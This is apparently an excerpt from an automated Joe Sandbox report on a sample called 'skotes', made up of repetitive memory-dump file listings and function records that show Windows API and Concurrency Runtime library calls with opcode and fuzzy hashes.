Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e86053adc20a57ef92d191933682afe94ebee445324a531245c1ddec5255c4fc
Instruction ID: b51d8cd47757d1ce0171bb8eed97e4de701e71105eb103c00e451b3e9e4c550d
Opcode Fuzzy Hash: e86053adc20a57ef92d191933682afe94ebee445324a531245c1ddec5255c4fc
Instruction Fuzzy Hash: 75E09239241226D6EB3132759C44BAFBB79DF467B0F170213ED6896390EB2CDC0082E1

Function 007E1775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,007E1B65,?,?,00000000,?,007E1B65,00000000,0000000C), ref: 007E1792

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4b9e82c5f049ce8dd6c081aa73713468bc9520c5d2b9399df7a5602fd97223b3
Instruction ID: 41bccd963d54b3e7ba8283a4f9676ebf5115480d6034187b0a387f55df812acb
Opcode Fuzzy Hash: 4b9e82c5f049ce8dd6c081aa73713468bc9520c5d2b9399df7a5602fd97223b3
Instruction Fuzzy Hash: 80D0923215020DBBDF129E84DC46EDE3BAAFB48714F019140BE5866060C732E931EB94

Non-executed Functions

Function 007C0E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 007C0F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 007C0F62

Part of subcall function 007C265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 007C2750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 007C0FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 007C0FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 007C103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 007C106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 007C10C1

Strings

(, xrefs: 007C0F22

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: 29e15206e84638c15b6fbfd1a07d672c8f67803adfaddd5a377e6ab82dca7f87
Instruction ID: 075b484237f69e1a9a1776ac3bee92fd52b05e6c5f92dec77b06ee78730fc392
Opcode Fuzzy Hash: 29e15206e84638c15b6fbfd1a07d672c8f67803adfaddd5a377e6ab82dca7f87
Instruction Fuzzy Hash: 72B16CB0A00615EFDB28CF68D995B7AB7B4FF45310F54816DE905AB242D738BD81CBA0

Function 007C1602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 007C2CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 007C2D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 007C1614

Part of subcall function 007C2E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 007C2E39
Part of subcall function 007C2E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 007C2EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 007C1746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 007C17A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 007C17B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 007C17ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 007C180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 007C181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 007C1823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 007C183B

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: 3dd90e98faee7dfe1ac87b9b29815cf78b84d7a90fc8728f905d4cd1c96457c1
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: 19816871E00625AFCB18CFA8C584A6DB7F1FF49304B5582ADE445AB702DB34AD52CB84

Function 007CEC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 007CEC81

Part of subcall function 007C8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 007C8F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 007CECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 007CECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 007CED0C

Part of subcall function 007CE7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 007CE7D7
Part of subcall function 007CE7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 007CE86F
Part of subcall function 007CE7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 007CE879
Part of subcall function 007CE7AF: Concurrency::location::_Assign.LIBCMT ref: 007CE8AD
Part of subcall function 007CE7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 007CE8B5

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: 26ea6cdb6e135d6b2bf00adb35cd6d211932ec815ccb89f198ef48954ef70708
Instruction ID: db0e7fe128f0fa2923ebe505dc52a075c42e17eb643931ab7ecddc22c3f9d2d3
Opcode Fuzzy Hash: 26ea6cdb6e135d6b2bf00adb35cd6d211932ec815ccb89f198ef48954ef70708
Instruction Fuzzy Hash: F7517E31A00205DBDF24DF50C899FADB775AF44310F1980ADE9066B396CB79AE06CBA1

Function 007BCB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 007BCBAA

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
